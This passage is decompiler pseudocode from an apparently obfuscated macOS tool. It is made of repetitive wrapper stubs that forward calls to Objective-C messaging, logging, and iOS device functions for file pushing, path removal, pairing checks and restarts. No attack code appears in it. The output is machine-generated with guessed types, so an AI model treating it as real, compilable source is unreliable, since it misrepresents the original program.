void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17696(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F640) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17697(void *a1, const char *a2)
{
HikariFunctionWrapper_17696(a1, a2);
}
//----- (000000010021F650) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17698(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (000000010021F660) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17699(__int64 a1)
{
return HikariFunctionWrapper_17698(a1);
}
//----- (000000010021F670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17700(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17701(void *a1, const char *a2)
{
return HikariFunctionWrapper_17700(a1, a2);
}
//----- (000000010021F690) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17702(void *a1)
{
showOkMessageBasic(a1);
}
//----- (000000010021F6A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17703(void *a1)
{
HikariFunctionWrapper_17702(a1);
}
//----- (000000010021F6B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17704(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F6C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17705(void *a1, const char *a2)
{
HikariFunctionWrapper_17704(a1, a2);
}
//----- (000000010021F6D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17706(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F6E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17707(void *a1, const char *a2)
{
HikariFunctionWrapper_17706(a1, a2);
}
//----- (000000010021F6F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17708(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17709(void *a1, const char *a2)
{
return HikariFunctionWrapper_17708(a1, a2);
}
//----- (000000010021F710) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17710(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F720) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17711(void *a1, const char *a2)
{
return HikariFunctionWrapper_17710(a1, a2);
}
//----- (000000010021F730) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17712(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021F740) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17713(void *a1)
{
HikariFunctionWrapper_17712(a1);
}
//----- (000000010021F750) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17714(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F760) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17715(void *a1, const char *a2)
{
return HikariFunctionWrapper_17714(a1, a2);
}
//----- (000000010021F770) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17716(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F780) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17717(void *a1, const char *a2)
{
return HikariFunctionWrapper_17716(a1, a2);
}
//----- (000000010021F790) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17718(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021F7A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17719(objc_class *a1)
{
return HikariFunctionWrapper_17718(a1);
}
//----- (000000010021F7B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17720(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021F7C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17721(objc_class *a1)
{
return HikariFunctionWrapper_17720(a1);
}
//----- (000000010021F7D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17722(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F7E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17723(void *a1, const char *a2)
{
HikariFunctionWrapper_17722(a1, a2);
}
//----- (000000010021F7F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17724(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F800) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17725(void *a1, const char *a2)
{
return HikariFunctionWrapper_17724(a1, a2);
}
//----- (000000010021F810) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17726(void *a1, __int64 a2)
{
UploadBase64FilesFromXML(a1, a2);
}
//----- (000000010021F820) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17727(void *a1, __int64 a2)
{
HikariFunctionWrapper_17726(a1, a2);
}
//----- (000000010021F830) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17728(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F840) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17729(void *a1, const char *a2)
{
HikariFunctionWrapper_17728(a1, a2);
}
//----- (000000010021F850) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17730(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F860) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17731(NSString *a1)
{
HikariFunctionWrapper_17730(a1);
}
//----- (000000010021F870) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17732(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F880) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17733(NSString *a1)
{
HikariFunctionWrapper_17732(a1);
}
//----- (000000010021F890) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17734(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F8A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17735(void *a1, const char *a2)
{
return HikariFunctionWrapper_17734(a1, a2);
}
//----- (000000010021F8B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17736(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F8C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17737(void *a1, const char *a2)
{
HikariFunctionWrapper_17736(a1, a2);
}
//----- (000000010021F8D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17738(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (000000010021F8E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17739(__int64 a1)
{
return HikariFunctionWrapper_17738(a1);
}
//----- (000000010021F8F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17740(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (000000010021F900) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17741(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_17740(a1, a2);
}
//----- (000000010021F910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17742(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17743(void *a1, const char *a2)
{
return HikariFunctionWrapper_17742(a1, a2);
}
//----- (000000010021F930) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_17744(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (000000010021F940) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_17745(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_17744(a1, a2, a3, a4);
}
//----- (000000010021F950) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17746(void *a1, __int64 a2)
{
UploadBase64FilesFromXMLCleaned(a1, a2);
}
//----- (000000010021F960) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17747(void *a1, __int64 a2)
{
HikariFunctionWrapper_17746(a1, a2);
}
//----- (000000010021F970) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17748(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (000000010021F980) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17749(__int64 a1)
{
return HikariFunctionWrapper_17748(a1);
}
//----- (000000010021F990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17750(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F9A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17751(void *a1, const char *a2)
{
HikariFunctionWrapper_17750(a1, a2);
}
//----- (000000010021F9B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17752(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (000000010021F9C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17753(__int64 a1)
{
return HikariFunctionWrapper_17752(a1);
}
//----- (000000010021F9D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17754(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (000000010021F9E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17755(__int64 a1)
{
return HikariFunctionWrapper_17754(a1);
}
//----- (000000010021F9F0) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_17756(__int64 a1, const char *a2, int a3)
{
return AFCAwaitNonEmptyFile(a1, a2, a3);
}
//----- (000000010021FA00) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_17757(__int64 a1, const char *a2, int a3)
{
return HikariFunctionWrapper_17756(a1, a2, a3);
}
//----- (000000010021FA10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17758(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FA20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17759(NSString *a1)
{
HikariFunctionWrapper_17758(a1);
}
//----- (000000010021FA30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17760(__int64 a1)
{
AFCClearDownloads(a1);
}
//----- (000000010021FA40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17761(__int64 a1)
{
HikariFunctionWrapper_17760(a1);
}
//----- (000000010021FA50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17762(__int64 a1)
{
RestartDevice(a1);
}
//----- (000000010021FA60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17763(__int64 a1)
{
HikariFunctionWrapper_17762(a1);
}
//----- (000000010021FA70) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17764(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (000000010021FA80) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17765(__int64 a1)
{
return HikariFunctionWrapper_17764(a1);
}
//----- (000000010021FA90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17766(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FAA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17767(void *a1, const char *a2)
{
HikariFunctionWrapper_17766(a1, a2);
}
//----- (000000010021FAB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17768(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021FAC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17769(void *a1, const char *a2)
{
return HikariFunctionWrapper_17768(a1, a2);
}
//----- (000000010021FAD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17770(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FAE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17771(void *a1, const char *a2)
{
HikariFunctionWrapper_17770(a1, a2);
}
//----- (000000010021FAF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17772(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FB00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17773(void *a1, const char *a2)
{
HikariFunctionWrapper_17772(a1, a2);
}
//----- (000000010021FB10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17774(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021FB20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17775(void *a1, const char *a2)
{
return HikariFunctionWrapper_17774(a1, a2);
}
//----- (000000010021FB30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17776(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021FB40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17777(void *a1, const char *a2)
{
return HikariFunctionWrapper_17776(a1, a2);
}
//----- (000000010021FB50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17778(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021FB60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17779(void *a1)
{
HikariFunctionWrapper_17778(a1);
}
//----- (000000010021FB70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17780(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021FB80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17781(void *a1, const char *a2)
{
return HikariFunctionWrapper_17780(a1, a2);
}
//----- (000000010021FB90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17782(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FBA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17783(void *a1, const char *a2)
{
HikariFunctionWrapper_17782(a1, a2);
}
//----- (000000010021FBB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17784(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FBC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17785(void *a1, const char *a2)
{
HikariFunctionWrapper_17784(a1, a2);
}
//----- (000000010021FBD0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17786(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (000000010021FBE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17787(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_17786(a1, a2);
}
//----- (000000010021FBF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17788(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FC00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17789(void *a1, const char *a2)
{
HikariFunctionWrapper_17788(a1, a2);
}
//----- (000000010021FC10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17790(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021FC20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17791(void *a1, const char *a2)
{
return HikariFunctionWrapper_17790(a1, a2);
}
//----- (000000010021FC30) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17792(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (000000010021FC40) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17793(__int64 a1)
{
return HikariFunctionWrapper_17792(a1);
}
//----- (000000010021FC50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17794(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (000000010021FC60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17795(__int64 a1)
{
return HikariFunctionWrapper_17794(a1);
}
//----- (000000010021FC70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17796(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FC80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17797(NSString *a1)
{
HikariFunctionWrapper_17796(a1);
}
//----- (000000010021FC90) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17798()
{
Close3uTools();
}
//----- (000000010021FCA0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17799()
{
HikariFunctionWrapper_17798();
}
//----- (000000010021FCB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17800(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (000000010021FCC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17801(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_17800(a1, a2);
}
//----- (000000010021FCD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17802(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021FCE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17803(void *a1, const char *a2)
{
return HikariFunctionWrapper_17802(a1, a2);
}
//----- (000000010021FCF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17804(void *a1, __int64 a2)
{
UploadBase64FilesFromXMLCleaned(a1, a2);
}
//----- (000000010021FD00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17805(void *a1, __int64 a2)
{
HikariFunctionWrapper_17804(a1, a2);
}
//----- (000000010021FD10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17806(__int64 a1)
{
AFCClearDownloads(a1);
}
//----- (000000010021FD20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17807(__int64 a1)
{
HikariFunctionWrapper_17806(a1);
}
//----- (000000010021FD30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17808(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FD40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17809(void *a1, const char *a2)
{
HikariFunctionWrapper_17808(a1, a2);
}
//----- (000000010021FD50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17810(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (000000010021FD60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17811(__int64 a1)
{
return HikariFunctionWrapper_17810(a1);
}
//----- (000000010021FD70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17812(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FD80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17813(NSString *a1)
{
HikariFunctionWrapper_17812(a1);
}
//----- (000000010021FD90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17814(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021FDA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17815(void *a1, const char *a2)
{
return HikariFunctionWrapper_17814(a1, a2);
}
//----- (000000010021FDB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17816(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FDC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17817(void *a1, const char *a2)
{
HikariFunctionWrapper_17816(a1, a2);
}
//----- (000000010021FDD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17818(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FDE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17819(void *a1, const char *a2)
{
HikariFunctionWrapper_17818(a1, a2);
}
//----- (000000010021FDF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17820(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FE00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17821(NSString *a1)
{
HikariFunctionWrapper_17820(a1);
}
//----- (000000010021FE10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17822(__int64 a1)
{
RestartDevice(a1);
}
//----- (000000010021FE20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17823(__int64 a1)
{
HikariFunctionWrapper_17822(a1);
}
//----- (000000010021FE30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17824(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FE40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17825(NSString *a1)
{
HikariFunctionWrapper_17824(a1);
}
//----- (000000010021FE50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17826(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FE60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17827(NSString *a1)
{
HikariFunctionWrapper_17826(a1);
}
//----- (000000010021FE70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17828(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FE80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17829(void *a1, const char *a2)
{
HikariFunctionWrapper_17828(a1, a2);
}
//----- (000000010021FE90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17830(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FEA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17831(void *a1, const char *a2)
{
HikariFunctionWrapper_17830(a1, a2);
}
//----- (000000010021FEB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17832(void *a1)
{
showOkMessage(a1);
}
//----- (000000010021FEC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17833(void *a1)
{
HikariFunctionWrapper_17832(a1);
}
//----- (000000010021FED0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17834(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FEE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17835(NSString *a1)
{
HikariFunctionWrapper_17834(a1);
}
//----- (000000010021FEF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17836(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FF00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17837(NSString *a1)
{
HikariFunctionWrapper_17836(a1);
}
//----- (000000010021FF10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17838(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FF20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17839(void *a1, const char *a2)
{
HikariFunctionWrapper_17838(a1, a2);
}
//----- (000000010021FF30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17840(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FF40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17841(void *a1, const char *a2)
{
HikariFunctionWrapper_17840(a1, a2);
}
//----- (000000010021FF50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17842(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021FF60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17843(__int64 a1)
{
return HikariFunctionWrapper_17842(a1);
}
//----- (000000010021FF70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17844(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FF80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17845(void *a1, const char *a2)
{
HikariFunctionWrapper_17844(a1, a2);
}
//----- (000000010021FF90) ----------------------------------------------------
